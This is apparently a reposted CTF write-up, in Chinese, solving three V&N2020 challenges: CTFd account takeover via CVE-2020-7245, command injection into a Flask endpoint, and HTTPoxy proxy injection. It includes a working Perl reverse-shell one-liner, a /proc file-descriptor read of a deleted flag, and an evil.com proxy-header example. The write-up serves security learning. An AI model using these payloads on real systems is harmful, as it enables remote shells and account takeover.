[V&N2020 公开赛]

不羁岁月 提交于 2020-03-01 17:30:07

HappyCTFd

考点:
CVE-2020-7245
https://www.colabug.com/2020/0204/6940556/
利用方式:
在这里插入图片描述
注册一个如下账号,这里邮箱为buu上的内网邮箱系统
在这里插入图片描述
前往/reset_password找回密码
在这里插入图片描述
发送完成后把我们注册的用户名改一下:
在这里插入图片描述
然后用邮箱的找回密码链接改admin的密码123,登陆,找到flag文件
在这里插入图片描述
在这里插入图片描述

CHECKIN

考点:
反弹shell
linux文件描述符

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

首先flag_file = open("flag.txt", "r"),然后在shell页面,可供我们传入c参数命令执行,不过在这之前已经把flag.txt给删了

当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作

所以只要找到该进程就可以读取flag,/proc/[pid]/fd 是一个目录,包含进程打开文件的情况

然后就要利用反弹shell了,打开buu的linux labs,ssh连上,监听端口:
在这里插入图片描述
payload:

perl -e 'use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &

urlencode一下发几次即可弹shell:
在这里插入图片描述
cat /proc/*/fd/*或者也可以挨个找
在这里插入图片描述

TimeTravel

HTTPoxy漏洞(CVE-2016-5385)
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
在这里插入图片描述
这个漏洞的前提之一就是

你的服务跑在PHP的CGI模式下(cgi, php-fpm)

看一下phpinfo找到fpm (应该
在这里插入图片描述
然后就看一下如何利用吧

cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约>定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: >http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包>中可能存在的敏感信息。
PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中

也就是增加一个Proxy的头,cgi会自动将我们加上HTTP_前缀,正好构成了环境变量中的HTTP_PROXY代理,结合题目就是将请求结果构造成{"success"=>true}会返回flag

还是要用到内网服务器,不过这里达服务我一直没弄成功,其实只要构造一个response返回就可以了,参考一位师傅的payload:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

在这里插入图片描述
在这里插入图片描述

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!